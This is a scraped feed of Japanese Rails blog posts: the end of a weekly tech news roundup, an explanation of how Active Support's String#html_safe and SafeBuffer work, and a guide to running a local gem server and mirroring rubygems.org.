morimorihoge: サウンド関係など、リアルタイム処理やりたいときや特殊なドライバをRubyからつつきたいときは必要になるかもしれないですね。

KubernetesでRailsをデプロイする

Kubernetesは自前でクラウドを構築するレベルのソフトウェアなので、強烈に難しそうです。morimorihogeさんの解説では、live migrationひとつとっても膨大な問題をクリアする必要があるそうです。

morimorihoge: 今ならDocker SwarmがDocker Engineに統合されたし、AWS ECSやGCPなどにも類似コンテナサービスがあるはずなので、そっちを使いたいですね。

Kubernetesはギリシャ語由来だそうで、発音は「クーベルネイテス」が近そうですね。きぐしねいです。

WebPackとYarnでAsset Pipelineを置き換える

多くの人がSprocketsやAsset Pipelineを何とかしようとして頑張っていますね。早く決定打が登場して欲しいです。

Railsのデータベース・ベストプラクティス

  1. データベースに本来の仕事をさせよう
  2. 有効かつチェイン可能な(chainable)スコープを使おう
    1. スコープはActiveRecord::Relationを返そう
    2. フィルタはRubyではなくデータベース側で行おう
    3. ソートはRubyではなくデータベース側で行おう
    4. スコープで不必要なORDERを指定しないようにしよう
  3. データベース呼び出しの回数を減らそう
  4. インデックスを使おう
  5. クエリが複雑になったらQueryオブジェクトを使おう
  6. ScopeやQueryオブジェクトの外でその場限りのクエリを行わないようにしよう
  7. 型を正しく指定しよう
  8. データベースの全文検索機能の利用も検討してみよう
  9. ストアドプロシージャは最後の手段にとっておこう

morimorihoge: 7.について、PostgreSQLは型についてかなり厳格だけどMySQLは逆にユルいので、Active RecordでMySQLを使っている人ほど型を正しく指定することに気をつけることをおすすめします。

RubyistのためのO(n)記法

計算量のO(n)記法をRubyのコードで解説してくれているのがありがたいですね。

RubyFlow

160928_1638_XvIP4h

Rails 5でのSQLインジェクション問題解説サイト: rails-sqli.org

現時点では以下のSQLインジェクション例が紹介されています。再現用のGitHubリポジトリもあります。

  • Calculations#calculateメソッド
  • delete_allメソッド
  • destroy_allメソッド
  • exists?メソッド
  • find_byfind_by!メソッド
  • fromメソッド
  • groupメソッド
  • havingメソッド
  • joinsメソッド
  • lockメソッド、find:lockオプション
  • orderメソッド
  • pluckメソッド
  • reorderメソッド
  • selectメソッド
  • whereメソッド
  • update_allメソッド

提供元はBrakeman Proのスタッフです。すべてを網羅しているわけではないので、新しいパターンを見つけたらぜひ貢献して欲しいとのことです。

Hacker News

160928_1654_q6srdR

SpaceX社が低遅延のギガビット級衛星インターネットを計画

morimorihogeさんの解説によると、衛星経由のインターネット接続は広帯域ではあるが遅延(レイテンシ)が大きいという特性があるそうです。TCP 3-wayハンドシェイクとかいかにも苦しそうですね。

SpaceX社は、高度715〜823マイルの低軌道衛星を4,425機打ち上げ、現行のHugesNet衛星(高度22,000マイル)の600ms程度の遅延を25〜35msに短縮する計画であるとのことです。

なお715マイルは約1150km、22,000マイルは約35400kmなので、SpaceX社の衛星は低軌道とは言っても国際宇宙ステーションより高高度になりそうです。

Quick, Draw

Made with some friends from Google
Quick, Drawより(Quick, DrawはGoogleのサービスです)

指定の絵を20秒以内に描いてGoogleのニューラルネットワークに判定させるという遊びです。先週からBPSでも密かに流行っています。

これ本当に、子どもの英語学習教材として非常に強力なんじゃないでしょうか。

Googleが.NET Foundation加入を表明

Google公式ブログ(英語)でも、.NET FrameworkをGoogle Cloud Platform(GCP)で優先サポートすると発表されています。ついこの間のマイクロソフトのLinux Foundation加入に答えるかのようなタイミングです。

もしかするとGoogleは本気でJavaからC#に乗り換えるのかもしれません。ご存じのとおり、既に.NET FrameworkやC#などがオープンソース化され、Macでも開発・実行可能な環境が急速に整いつつありますが、それにしても動きが早くなってきました。

警告: Windowsのアプリやツールで(WSLの)Linuxファイルを絶対に変更しないでください

MSDNブログでの発表です。Windows側からLinuxファイルを変更するとデータが破損、最悪の場合ディストリの再インストールが必要になるかもしれないとのことです。

Github Trending

160928_1701_Q9dJIU

最近のGitHub Trendingは何とかAwesomeといった単なるまとめ情報が上位にあがってきて邪魔ですね。それも機械学習系のまとめ情報が目立っています。

devdocs

http://devdocs.io/は、複数のAPIドキュメントを串刺し検索できます。Dashのオンライン版のようなおもむきですね。私は一発で気に入ってしまいました。

使いたいドキュメントの[Enable]をクリックすることで、検索窓で検索できるようになります。

morimorihoge: GitHubでソースが公開されているのが良いですね。

Goの部屋

GDrive

Googleドライブのコマンドライン版クライアントです。ファイルリビジョンまで扱えます。これを使ってちょっとしたアプリケーションすら作れそうです。

無印枠

secureheaders gem

セキュリティ関連のヘッダーを集めたgemです。

今週は以上です。

関連記事

[Rails5] Active Support Core ExtensionsのStringクラス(2)html_safe

$
0
0

こんにちは、hachi8833です。今回はRails 5 Active SupportのString#html_safeを見てみます。

今回のメソッド

条件

ソースのコメント等は適宜省略します。

html_safeは「安全」であるとマーキングする

今回取り上げるString#html_safeについては、TechRachoの以前の記事『RailsビューのHTMLエスケープは#link_toなどのヘルパーメソッドで解除されることがある』も合わせてお読みいただくことをおすすめします。

html_safeメソッドは対象が安全であることをマーキングし、以後エスケープを行わないようにするメソッドなので、安全であることが間違いなく確認できてから呼び出す必要があります。安全でないオブジェクトを安全にするものではありません

また、ソースのコメントでも「このメソッドよりもsanitizeメソッドをおすすめする」と記載されています。

output_safety.rbの構成

output_safety.rbでは以下をrequireしています。

require 'erb'
require 'active_support/core_ext/kernel/singleton_class'

output_safety.rbは大きく分けて以下のような構成になっています。html_safeは最後のStringクラスで定義されています。

  • ERBクラス内でUtilモジュールを定義
  • Objectクラス(html_safe?を定義)
  • Numericクラス(html_safe?を定義)
  • ActiveSupportモジュールでSafeBufferクラスを定義
  • Stringクラス(html_safeを定義)
class ERB
  module Util
    ...
  end
end
class Object
  def html_safe?
    false
  end
end
class Numeric
  def html_safe?
    true
  end
end
module ActiveSupport #:nodoc:
  class SafeBuffer < String
    class SafeConcatError < StandardError
      ...
    end
    ...
  end
end
class String
  def html_safe
    ActiveSupport::SafeBuffer.new(self)
  end
end

html_safe

html_safeのコードそのものは以下の1行だけであり、ActiveSupport::SafeBufferオブジェクトを作成して返しています。ActiveSupport::SafeBufferクラスは同じファイルにあります。

class String
  def html_safe
    ActiveSupport::SafeBuffer.new(self)
  end
end

ActiveSupport::SafeBufferは同じoutput_safety.rbファイルにあり、以下のメソッドがあります。

クラスメソッド

  • initializeメソッド

インスタンスメソッド

ここがhtml_safeの中心となるメソッド群です。

  • []メソッド
  • safe_concatメソッド
  • initialize_copyメソッド
  • clone_emptyメソッド
  • concatメソッド
  • prependメソッド
  • +メソッド
  • %メソッド
  • html_safe?メソッド
  • to_sメソッド
  • to_paramメソッド
  • encode_withメソッド

たとえばconcatメソッドは以下のように式展開のみエスケープして親クラスに渡しています。

def concat(value)
  super(html_escape_interpolated_argument(value))
end

プライベートメソッド

  • html_escape_interpolated_argumentメソッド

html_escape_interpolated_argumentは、html_safeでない式展開をエスケープします。

関連記事

gem serverでローカルgemサーバーを立ててみよう

$
0
0

こんにちは、hachi8833です。今回はローカルgemサーバーと、ミラーリングgemリポジトリについての記事です。

rubygems.org以外のgemリポジトリが欲しいとき

自分でgemを書こうとするとき、rubygems.org/にいきなりgemを置いてよいものかどうか、はたと考えてしまいました。

たとえ最終的にはrubygems.orgに置きたいとしても、gemの導入をテストする段階で置きたくありませんので、手近なgemリポジトリが欲しくなります。gemファイル名を直接指定してインストールしてもいいのですが、もうちょっとかっこよくやりたいものです。

また、rubygems.orgに置かずに組織内限定で運用するとしても、組織内サービスとしてgemリポジトリがあると便利です。

gemを開発している方には常識だと思いますが、RubyGemsでは標準でgem serverコマンドを利用できます。

gemサーバーを起動する

Rubyとrubygemsを利用できる方は、コマンドプロンプトでgem server -lを実行してみてください。デフォルトのブラウザで以下の画面が表示されます。

gemのRDocが整形表示されて読みやすいので、場合によってはgem list|grep hogehogeなどとするより便利です。また、rdocコマンドを実行したことがなくても即座に表示されます(後述)。

もちろんブラウザ表示だけではなく、RailsなどのGemfileで冒頭のsource 'https://rubygems.org'の行を次のように変更することでbundle installbundle updateの取得元をローカルgemリポジトリに変更できます。

source 'http://localhost:8808'

また、gem sources --add http://localhost:8808などとすることでgem installを直接実行する際のインストール元として指定もできます。

gem serverコマンド

以下の情報は主にgem help serverをまとめたものです。

  • gem serverで起動するWebサーバーは、現在自機にインストールされているgemのRDocを表示します。
  • gem serverでgemを提供するには、インストールされているgemのキャッシュファイルが必要です。

  • このサーバーからgemをインストールするには、gem install GEMNAME --source http://gem_server_host:8808のようにします。

  • gem help serverを実行すると、ヘルプ内で以下のようにデフォルトのコマンドが表示され、利用するローカルgemのディレクトリをそこで確認できます。このディレクトリパスは環境に合わせて動的に生成されているので、どのディレクトリのgemがサーバーで使われているかを確認するのに便利です。

  Defaults:
    --port 8808 --dir /Users/hachi8833/.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0 --no-daemon

オプション

-p, –port=PORT
リッスンするポートを指定(デフォルトは8808)
-d, –dir=GEMDIR
サーバーで提供するgemのディレクトリを他にも指定する場合に使う
–[no-]daemon
デーモン化
-b, –bind=HOST,HOST
バインドするアドレスを指定
-l, –launch[=コマンド]
ブラウザウィンドウを開く(Windowsならstart、他プラットフォームならopen

他のgemコマンドと共通のオプション

-h, –help
ヘルプ表示
-V, –[no-]verbose
Verboseモード
-q, –quiet
Silentモード
–config-file ファイル名
デフォルト以外の設定ファイルを指定する場合に使う
–backtrace
エラー時のバックトレースを表示
–debug
Rubyのデバッグモードをオン
–norc
.gemrcを読み込まない

応用編: rubygems.orgをミラーリングする

rubygems.orgの公式ドキュメントには、gem serverコマンドのさらに詳しい情報が載っています。

その中にgemirroという、rubygems.orgをミラーリングするgemが紹介されています。詳しい操作についてはそれぞれのリンクをご覧ください。

Railsを一日に十数回もデプロイするような激しい開発を行っている組織であれば、以下の理由からgemirroなどを使ってgemリポジトリサーバーの設置を検討するとよいでしょう。

  • gemバージョンをミラーリポジトリで厳密に管理できる
    • 検証済みのgemのみを選別してミラーリングすることで、gemに非互換のアップグレードが発生した場合や、必要なバージョンのgem(下手するとgemそのもの)が消滅した場合にも備えられる
  • gem取得のパフォーマンス向上
  • インターネット接続トラフィックの削減
  • rubygems.orgの負荷軽減(結果として)

本番環境の近くにミラーリングリポジトリを設置する

ミラーリポジトリは、開発者向けに組織内に設置するほかに、本番環境に近いところに設置するのも有効です。たとえば本番サーバーがAWS上にデプロイされるなら、本番サーバーと同じAvailability Zone内にミラーリポジトリを設置することで転送量削減やパフォーマンス向上が見込めます。AWSではインターネットトラフィックに課金されるので、このように通信を同一Availability Zone、同一Regionに閉じ込めることでコスト削減につながります。

geminabox

rubygems.orgの公式ドキュメントには、gem serverとgemirroの中間に位置づけられるgeminaboxというgemも紹介されています。gem serverにgemのアップロード機能などが追加されており、もう少し凝ったことをしたいときに使えそうです。

番外編: ブラウザ画面の [filter/search] は動いていない

私の環境では、gem server -lで開いたブラウザ画面の [filter/search] は動きませんでした。念のため、rdocコマンドでgemのRDocファイルを生成してみましたが、やはり動きません。それにしてもrdocコマンドは重いですね。

gem searchやブラウザの検索機能で十分間に合うので、この検索機能ははっきり言って全然要らないのですが、ちょっとだけ追ってみました。Rubyのバージョンは2.3.3、RubyGemsのバージョンは2.6.8です。

rubygemsのserver.rb719行目で、入力クエリの前方一致と部分一致を検索に送っています。

def rdoc(req, res)
    query = req.query['q']
    show_rdoc_for_pattern("#{query}*", res) && return
    show_rdoc_for_pattern("*#{query}*", res) && return
    ...
end

745行目は以下のようになっています。docのindex.htmlがgemディレクトリ名/rdoc/index.htmlにあることが前提になっています。

 def show_rdoc_for_pattern(pattern, res)
    found_gems = Dir.glob("{#{@gem_dirs.join ','}}/doc/#{pattern}").select {|path|
      File.exist? File.join(path, 'rdoc/index.html')
    }
 ...
 end

しかし、私の環境のgem置き場のdocディレクトリはこの構成になっていません(searchは自作のシェルスクリプトです)。

私のRDoc生成方法のオプションに問題があったのか、それともディレクトリ構成に変更があったのかもしれませんが、ほぼ使われていない機能のようなのでissuesにも見当たりませんでした。

RDocで生成したドキュメントが0.8G近くもあったので、削除しちゃいました。

関連記事

Viewing all 1093 articles
Browse latest View live